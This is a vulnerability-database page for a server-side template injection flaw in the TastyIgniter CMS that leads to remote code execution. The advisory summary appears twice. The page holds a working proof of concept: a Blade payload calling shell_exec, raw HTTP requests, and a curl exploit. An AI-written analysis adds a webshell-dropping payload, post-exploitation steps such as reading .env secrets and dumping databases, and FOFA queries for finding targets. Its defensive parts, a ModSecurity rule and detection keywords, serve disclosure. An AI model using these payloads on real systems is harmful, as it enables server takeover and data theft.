CVE Professor
/
All CVEs
CVE-2026-69178

CVE-2026-69178 — Tastyigniter/tastyigniter — CWE-20 · CWE-94

CRITICAL CVSS 9.1 NVD

### Summary **Where:** `POST /admin/mail_templates/edit/{id}` → body field **Who can trigger:** Any admin user with `Admin.MailTemplates` permission **Impact:** Arbitrary PHP execution on the server — full RCE ### Details The Mail templates is vulnerable to SSTI and did not perform an validation and sanitization. ### PoC - login as admin - create new mail template with following command ``` @php echo shell_exec('echo "RCE Executed";id'); @endphp ``` - save the request - execute the request using `X-IGNITER-REQUEST-HANDLER: onTestTemplate` Request ```http POST /admin/mail_templates/edit/20 HTTP/1.1 Host: localhost:8888 Content-Length: 47 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-TOKEN: L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest X-IGNITER-REQUEST-PARTIALS: Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-IGNITER-REQUEST-HANDLER: onTestTemplate Origin: http://localhost:8888 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8888/admin/mail_templates/edit/20 Accept-Encoding: gzip, deflate, br Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1

### Summary **Where:** `POST /admin/mail_templates/edit/{id}` → body field **Who can trigger:** Any admin user with `Admin.MailTemplates` permission **Impact:** Arbitrary PHP execution on the server — full RCE ### Details The Mail templates is vulnerable to SSTI and did not perform an validation and sanitization. ### PoC - login as admin - create new mail template with following command ``` @php echo shell_exec('echo "RCE Executed";id'); @endphp ``` - save the request - execute the request using `X-IGNITER-REQUEST-HANDLER: onTestTemplate` Request ```http POST /admin/mail_templates/edit/20 HTTP/1.1 Host: localhost:8888 Content-Length: 47 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-TOKEN: L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest X-IGNITER-REQUEST-PARTIALS: Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-IGNITER-REQUEST-HANDLER: onTestTemplate Origin: http://localhost:8888 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8888/admin/mail_templates/edit/20 Accept-Encoding: gzip, deflate, br Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. High PR:H
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in the tastyigniter/tastyigniter CMS.

Technical Flaw Analysis:
1. Missing Input Sanitization: The application accepts user-supplied data for mail templates via the POST /admin/mail_templates/edit/{id} endpoint. It fails to sanitize or escape PHP tags (<?php, @php, @endphp) within the template body.
2. Unsafe Template Rendering: The backend uses a templating engine (likely Laravel Blade, given the X-IGNITER-REQUEST-HANDLER and laravel_session cookie) that processes the stored template content. When the "Test Template" feature is triggered, the engine compiles and executes the raw string as PHP code.
3. CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine): The system treats user input as trusted code rather than data.
4. Authentication Context: The vulnerability requires High Privilege (PR:H) access. Only users with the Admin.MailTemplates permission can trigger this. This is a critical flaw for any environment where admin accounts are compromised, or where internal users with limited admin rights can escalate to full system compromise.

CVSS Vector Interpretation:

  • AV:N: Exploitable over the network.

  • AC:L: Low complexity; no race conditions or specific timing required.

  • PR:H: Requires valid admin credentials.

  • UI:N: No user interaction needed after authentication.

  • S:C: Scope is Changed. The vulnerable component (web app) allows compromise of the underlying operating system (PHP process).

  • C:H/I:H/A:H: Full compromise of Confidentiality, Integrity, and Availability of the server.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: Identify the target as running TastyIgniter. Look for specific headers, default paths (/admin), or unique error messages.
  • Credential Acquisition: Obtain valid admin credentials via:
  • * Brute force (if no rate limiting). * Credential stuffing. * Compromise of a lower-privileged user who has Admin.MailTemplates permission (if permissions are misconfigured). * Session hijacking.

    2. Exploitation

    Prerequisite: Valid session cookie (laravel_session) and CSRF token.

    Step 1: Inject Payload
    The attacker sends a POST request to edit a mail template. The payload is a PHP code snippet wrapped in Blade-style directives (@php ... @endphp) or raw PHP tags, depending on the engine's strictness. The CVE description explicitly uses @php echo shell_exec('...'); @endphp.

    Illustrative PoC (curl):

    # 1. Login to obtain CSRF token and session cookie
    # (Assuming standard Laravel login flow)
    CSRF_TOKEN="<extracted_from_login_page>"
    SESSION_COOKIE="<extracted_from_login_response>"
    
    # 2. Inject SSTI Payload into Mail Template
    # Note: The exact ID (20) and CSRF token must be valid for the session.
    curl -X POST "http://target.com/admin/mail_templates/edit/20" \
      -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
      -H "X-CSRF-TOKEN: $CSRF_TOKEN" \
      -H "X-Requested-With: XMLHttpRequest" \
      -H "X-IGNITER-REQUEST-HANDLER: onTestTemplate" \
      -H "Cookie: laravel_session=$SESSION_COOKIE" \
      -d "body=@php echo shell_exec('id'); @endphp"

    Step 2: Trigger Execution
    The X-IGNITER-REQUEST-HANDLER: onTestTemplate header instructs the backend to render the template immediately for preview/testing. This causes the PHP engine to execute the injected shell_exec('id') command.

    Alternative Trigger:
    If the onTestTemplate handler is not present, the attacker may need to trigger a mail send action (e.g., "Send Test Email") that renders the template.

    3. Post-Exploitation

  • Command Execution: The response from the HTTP request will contain the output of the id command (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).
  • Webshell Deployment:
  • @php file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST["cmd"]); ?>'); @endphp
  • Privilege Escalation:
  • * Check for SUID binaries, writable cron jobs, or misconfigured sudoers. * Exploit local vulnerabilities in the PHP environment or OS.
  • Data Exfiltration:
  • * Read .env file to obtain database credentials, API keys, and AWS secrets. * Dump the database. * Pivot to internal network using the compromised server.

    🌍 Real World Impact

  • Confidentiality (High): Full access to all data stored in the application database, including user PII, customer data, and admin credentials. Access to server configuration files (.env, config.php) exposes secrets.
  • Integrity (High): Attacker can modify any file on the web server, inject backdoors, alter application logic, or corrupt data.
  • Availability (High): Attacker can delete files, drop databases, or consume system resources (DoS).
  • Scope Change: The compromise extends beyond the web application to the underlying operating system, allowing lateral movement within the network.
  • Practical Consequences:

  • Complete takeover of the web server.

  • Potential breach of customer data leading to regulatory fines (GDPR, CCPA).

  • Use of the server as a botnet node or launchpad for further attacks.

  • Reputational damage due to data breach.
  • 🛡️ Remediation & Mitigation

    1. Upgrade

  • Action: Upgrade tastyigniter/tastyigniter to the latest patched version. Check the vendor's GitHub repository or release notes for a fix addressing SSTI in mail templates.
  • Note: Since the CVE is dated 2026, ensure you are running the most recent stable release that includes security patches for template rendering.
  • 2. Workarounds (If Immediate Upgrade is Not Possible)

  • Disable Mail Template Editing: If the feature is not critical, disable the Admin.MailTemplates permission for all users except a dedicated, highly monitored account.
  • WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing PHP code patterns in the body parameter of the /admin/mail_templates/edit/ endpoint.
  • * ModSecurity Example:
    SecRule REQUEST_URI "@rx /admin/mail_templates/edit/" \
              "id:100001,phase:1,deny,status:403,msg:'SSTI Attempt in Mail Template',log"
          SecRule ARGS:body "@rx <\?php|@php|shell_exec|system|exec" \
              "id:100002,phase:2,deny,status:403,msg:'PHP Code Detected in Mail Template Body',log"
  • Input Validation (Code Level): If you have access to the source code, modify the template rendering logic to escape or strip PHP tags before processing. Use a templating engine that does not allow raw PHP execution (e.g., Twig with autoescape enabled and no raw filter for user input).
  • 3. Detection

  • Web Server Logs: Look for POST requests to /admin/mail_templates/edit/ with body parameters containing:
  • * @php * <?php * shell_exec * system * exec * passthru
  • File System Monitoring: Monitor for unexpected PHP files created in web-accessible directories (e.g., /var/www/html/).
  • Process Monitoring: Alert on php-fpm or apache processes spawning shell commands (/bin/sh, /bin/bash).
  • IoCs:
  • * New PHP files with names like shell.php, backdoor.php, or random names. * Outbound connections from the web server to unknown IPs. * Unusual cron jobs added by the www-data user.

    ⚠️ Urgency

  • CVSS Score: 9.1 (Critical)
  • CISA KEV: No (Not currently listed in Known Exploited Vulnerabilities catalog)
  • Exploit Complexity: Low (Simple payload, no race conditions)
  • Authentication Required: Yes (Admin)
Patching Priority: HIGH

Rationale:
While the vulnerability requires admin access, the impact is severe (full RCE). In many environments, admin credentials are compromised via phishing, credential stuffing, or insider threats. Once an attacker has admin access, this vulnerability provides an easy path to full system compromise. It should be patched as soon as a fix is available, ideally within 7 days. If admin accounts are well-protected (MFA, strong passwords, limited access), the risk is lower, but still significant due to the potential for lateral movement.

Immediate Actions:
1. Verify if you are running an affected version.
2. Apply the vendor patch.
3. Audit admin accounts and enforce MFA.
4. Review web server logs for signs of exploitation.
5. Implement WAF rules as a temporary mitigation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="laravel_session"
CVSS Score
9.1 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-20 CWE-94 CWE-1336
Affected Products (1)
tastyigniter/tastyigniter
References & Advisories (2)
Related CVEs
9.4
CVE-2026-126099
The Velocity template sandbox (SecureIntrospectorImpl) in dotCMS through 26.11.03-01, and in the 25.07 LTS lin
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
9.2
CVE-2026-115991
Exposure of sensitive information in the content lock-check endpoints (PUT /api/content/canLock and GET /api/v
9.0
CVE-2026-126111
Missing secure processing in the XSLT transformer of the Velocity $xslttool view tool in dotCMS allows a back-
8.6
CVE-2026-120094
Improper authorization in the dotAI embeddings endpoint (POST /api/v1/ai/embeddings) in dotCMS before 26.10.23
8.5
CVE-2026-144446
bitproto before 1.3.3 contains a code injection vulnerability that allows attackers to inject code into genera
8.3
CVE-2026-120097
Insufficient restrictions on Velocity view tools during content field rendering in dotCMS versions through 26.